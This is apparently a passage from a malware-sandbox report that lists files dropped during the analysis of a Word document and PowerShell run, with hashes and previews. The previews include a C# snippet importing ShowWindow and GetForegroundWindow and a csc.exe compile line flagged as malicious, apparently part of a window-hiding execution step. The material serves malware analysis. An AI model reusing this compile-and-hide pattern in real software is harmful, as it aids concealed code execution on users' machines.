Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u42nmj4i.o5f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vfyhradd.u05.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wzif0mxh.avp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\st5qs1wr\CSC2C64D26780D497590A0A819DD9C4D5F.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1069451058728093
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryRoak7Ynqqi9PN5Dlq5J:+RI+ycuZhNsakSIPNnqX
MD5:	1413B66C3BE870237254CCB1ECE909CA
SHA1:	B63AD845730607D03351E57832E361B3602AB2D2
SHA-256:	E3A6714985BFA4C4D3BD1F26D0516D08D47D54D6F4F14D40425FA91E08DCBF6A
SHA-512:	3534FFEDF87F0B71837FF7E85231A24E775EFD2645A3A01A072B3B07778B031B89E320246B689460D3994EA2A3C6C1292345D224F9E55F5FA06687900BA1658E
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.t.5.q.s.1.w.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...s.t.5.q.s.1.w.r...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	4.952945910145069
Encrypted:	false
SSDEEP:	6:V/DssSuVY/so68SRvoSoODnso68SRaqK4Li:V/D9PY/REvoOnREfe
MD5:	6E7BC02C23E28738F9898185137720DB
SHA1:	F0450E92B0D01C2A0D23DEF93299FFD1512FAB46
SHA-256:	80A682DC3D4FEF7A23471B441BBA682648D7373DEB9889E0017E3BBBA43754E7
SHA-512:	FF24CEDAD3619B0D2379F668A06CE36A5DAFF2EBC2B11FCF8BD960C3272D99F5F77EDCA893701A6232DC9EB07794C8D2ABC3FD802CE7E5638EE87291DE1AAEFB
Malicious:	false
Preview:	.using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern int ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); }

C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.240339633777961
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fvIzIDJUzxs7+AEszICN23fvIzIPn:p37Lvkmb6KmHSID+WZE7HSIP
MD5:	EE17F10D5C812D762E5CAB9771393B28
SHA1:	CE6F327B3D1788F9F3AA544B8FBFD84A55DC866C
SHA-256:	79CDAB62E9F32036E7EA37BA03B81AF3F215CE7E0E1C75AE3A813690DE7FB93A
SHA-512:	DBFC478D20EE9863015D10068F3E075093E612378E4A4139B3A79456B2BD42207F479A5E845DAE121513F8088EEB69462B6B59A512469FB513A0FF5AA0C8D1B9
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.0.cs"

C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.7911344013506825
Encrypted:	false
SSDEEP:	24:etGSzWJ2JJi8R86QMBTWetkZfKZAsEz13+WI+ycuZhNsakSIPNnqI:65NR9ZWRJK+J13l1ulsa3wqI
MD5:	1EC0A4A5E27F20DA37FE356E35C1C76D
SHA1:	A388C38F02B7BFF2EA7A57485A64ACA73894A225
SHA-256:	53C1768E3852EDA9968CB102CA727F4D63002E155532D46C89C566F920E5BF1C
SHA-512:	E2FE31740F23E8A0FB15581A684DF338D77BB8923677991D44409118FC4550FE6FC5AB91876D15857583320755B3FE8578C5F29C22C274ABA5032F2EEBF96CF4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{Yg...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....g.....g.......................................... 4............ ?.....P ......S.........Y.....^...S.....S...!.S.....S.......".....+.......4.......?..................................................<Module

C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.313848663086281
Encrypted:	false
SSDEEP:	24:KSId3ka6Kmy+E7yRKax5DqBVKVrdFAMBJTH:dkka6PFE7EK2DcVKdBJj
MD5:	FEFF030DADAC84C375023A93E4529ADA
SHA1:	2E2CBC09ADED78E75E79ACA941C7435984822C79
SHA-256:	AE13EA024D4A41B4E4D0F68C3EB3EF94E73D979BD011E18349F5B5110FBFF0EA
SHA-512:	E650F74A4DD967ED57E05485D7312CEF3FCA15FF9E8F843BE09298EA0267D29763A7BA39E1F521782F24CAA4C180B88A1ACE85B6C671A27988D250451709BA50
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\~$eting-Registration-Form.docx.docx

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.748796503766683
Encrypted:	false
SSDEEP:	3:6NmltlylDQNSKlM+iR/vlJ/rN+ll1B//G:mSmMxMTdo1BXG
MD5:	E5BCA59B21E9AA76F698ECC8813DAEF0
SHA1:	3F822D8B284991880F2320FA84FA6DBD69A9ACBB
SHA-256:	1ED19F7975BCCFA562986B406A2DE444B7CF32213887A1351981A236BC211A15
SHA-512:	CF7C5E06F7BC9C7A583CFDF8813E084F5C78804221EF9CDF120FE43034723B5B68A320AAC72B4CC181BFF29C1B8CC01B7CC43E157B4DEA5D50B7C45A481E7D83
Malicious:	false
Preview:	.user.................................................A.r.t.h.u.r...........(.O,....p..[....\|.......................\|........GT..K..R..<.[....o..K...........G$J

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.7394769049745404
Encrypted:	false
SSDEEP:	3:6NmltlylDQNTA8lesldnlNAH3/iap/G:mSmMi83ldjI3/5RG
MD5:	E13356FE3474ED2BB2007583E6CF38E7
SHA1:	6CC66A40E6B84995BEA21AAE3FCED6676CFF393C
SHA-256:	F1DA862BB4BF69CFEEDEB70E71566F3F02EBF8FFCF45B756982A7707FEB6D749
SHA-512:	658A756B354F67B2AA99F024E60D5FA9982DAF3257523007E1D58D30823DB0951829C777BA702D2E044B2A7DCF23AF6C70A2FD3312A946677E1E61B3B3B70F2C
Malicious:	false
Preview:	.user.................................................A.r.t.h.u.r............O,....0..[....GK......................GK..............R..<.[.._hG..K...........G$J

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:	3:Qkh1QNIl:Qk8W
MD5:	D1F4EBCAA7623D3DBFBF051D65AB1130
SHA1:	A51DDF1371C35784AA2AF44C5EE706285B378CF7
SHA-256:	A838F07E91D01FCF6874D4F5495F69B9E6AB483D367E0E188A809700DC0D0AAE
SHA-512:	EC32CB4736C75066947B9478B644F550D8B48510D98B4E2D065DFF2219F94D76E83AC886D9FEE795580C17C33388A8B7AA858F71754C97A34CAF976B21B17448
Malicious:	false
Preview:	..A.r.t.h.u.r.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0809.lex

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.760454355716364
Encrypted:	false
SSDEEP:	48:WAkRjpOC+ZUUek5ukvhkvklCyw5+DNMCGwxl+SogZoUVjNMCGwxl+SogZoURA:ZOpOC+G7NkvhkvCCtGNMrwLHtNMrwLH2
MD5:	0D517448E630A49654A9F2F089F64B75
SHA1:	A8DAA3AE246B924C3E2F5111F290749AA8A338A1
SHA-256:	4449CB5AA0D0177B956B06EFC9FC4E669F863FE8A741A8AD952ED9332169430C
SHA-512:	A77BAE5101C45DFC1CE9D1E85E199E47B7987B4F239F8BCC1F4110D9B71268CDC61BDC94DDE7BC99836531849EC6C27359DBB4FDF5B096ECFD6B3088A4CF1BC9
Malicious:	false
Preview:	...................................FL..................F.".. ...;.}.S...0....K..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S.....j..K..Q....K......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.Y\|]....B......................A!.A.p.p.D.a.t.a...B.V.1......Y{]..Roaming.@......"S.Y{]....D.........................R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.Yw]....E.......................(.M.i.c.r.o.s.o.f.t.....V.1......Yt-..Windows.@......"S.Yt-....F.......................S.W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`.Y.-....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`.Y.-....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.Y.,....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.Y.]....i...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9W93LQIOI2HNUZ4XZOWU.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.760454355716364
Encrypted:	false
SSDEEP:	48:WAkRjpOC+ZUUek5ukvhkvklCyw5+DNMCGwxl+SogZoUVjNMCGwxl+SogZoURA:ZOpOC+G7NkvhkvCCtGNMrwLHtNMrwLH2
MD5:	0D517448E630A49654A9F2F089F64B75
SHA1:	A8DAA3AE246B924C3E2F5111F290749AA8A338A1
SHA-256:	4449CB5AA0D0177B956B06EFC9FC4E669F863FE8A741A8AD952ED9332169430C
SHA-512:	A77BAE5101C45DFC1CE9D1E85E199E47B7987B4F239F8BCC1F4110D9B71268CDC61BDC94DDE7BC99836531849EC6C27359DBB4FDF5B096ECFD6B3088A4CF1BC9
Malicious:	false
Preview:	...................................FL..................F.".. ...;.}.S...0....K..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S.....j..K..Q....K......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.Y\|]....B......................A!.A.p.p.D.a.t.a...B.V.1......Y{]..Roaming.@......"S.Y{]....D.........................R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.Yw]....E.......................(.M.i.c.r.o.s.o.f.t.....V.1......Yt-..Windows.@......"S.Yt-....F.......................S.W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`.Y.-....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`.Y.-....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.Y.,....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.Y.]....i...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZLY8A0ZXRRQP2SWYGZPZ.temp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	modified
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\System32\spp\store\2.0\cache\cache.dat

Download File

Process:	C:\Windows\System32\sppsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	796616
Entropy (8bit):	3.878012200104914
Encrypted:	false
SSDEEP:	6144:KEcXiBNLsfNeeD61SRawazmRnLekXEij/OnWRo1Yr+5i6ByhMTUA28yIGpZc:KEcXiBqfNeeD6qawazmRnLekXSSov3
MD5:	BB8D8642FBD78C17E491B5C591DC7059
SHA1:	A76985CCFB9FB2FA5A635470F81F9522737B4006
SHA-256:	766143A782AFA380828B9AA30E0F00E0BC32508B14E368C0F2C220B6F32D54D1
SHA-512:	A207E7DA997B4B0CA668AED32ED2913EC387D54B447E6E1F3F9E29FFCBC0BAEF6C8B90363332D5526AEC8B332E5E4824B3C27DAD46550C5413DC869A04ADA1A4
Malicious:	false
Preview:	..E(....................;._....................................$.$.G.l.o.b.a.l.$.$......my......................\.....Z...0...+.0.J.f.p.q.U.8.x.J.e.Y.n.Z.J.W.G.k.L.b.7.o./.C.D.+.A.J.9.U.P.y.A.e.m.R.4.2.m.F.n.1.s.=...........E(......................j.............................Z.......+.2.e.7.W.B.7.f.+.F.7.k.k.4.M.y.C.N.s.p.j.x.r.8.T.7.W.H.q.u.k.M.w.4.H.5.C.o.m.q.c.L.Q.=..........R2H....................Uz(.....................(5X.........D...O.f.f.i.c.e. .1.9.,. .T.I.M.E.B.A.S.E.D._.E.V.A.L. .c.h.a.n.n.e.l...............Z...0...+.4.R.6.u.F.1.m.q./.B.3.W.x.J.e./.F.6.Z.l.g.e.6.z.r.T.5.4.N.8.w.2.l.8.S.Q.Q.3.y.p.L.Q.=...........E(......................j.....................8..=....Z.......+.5.9.4.3.l.j.l.G.R.C.2.b.R.G.h.s.Y.q.K.N.O.g.0.3.U.y.s.i.K.c.w.b.c.a.T.k.W.2.V.f.N.4.=..........R2H....................Uz(......................PPu............!.......J...J...e.d.e.a.3.f.0.d.-.b.a.5.4.-.4.2.a.d.-.a.7.7.f.-.3.d.8.7.e.5.0.0.a.0.0.3.........e.d.e.a.3.f.0.d.-.b.a.5.4.-.4.2.a.d.-.a.7.7.f.-.

C:\Windows\Temp\__PSScriptPolicyTest_030vqb23.fcw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_f4so2hqj.xqx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_hqzefdon.b15.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_nn2q2foe.vnk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_owl15rox.eul.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pwc0vp35.mzo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_trvrbsz2.wpf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_u5eurpb5.4ti.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xsywarv5.a4k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
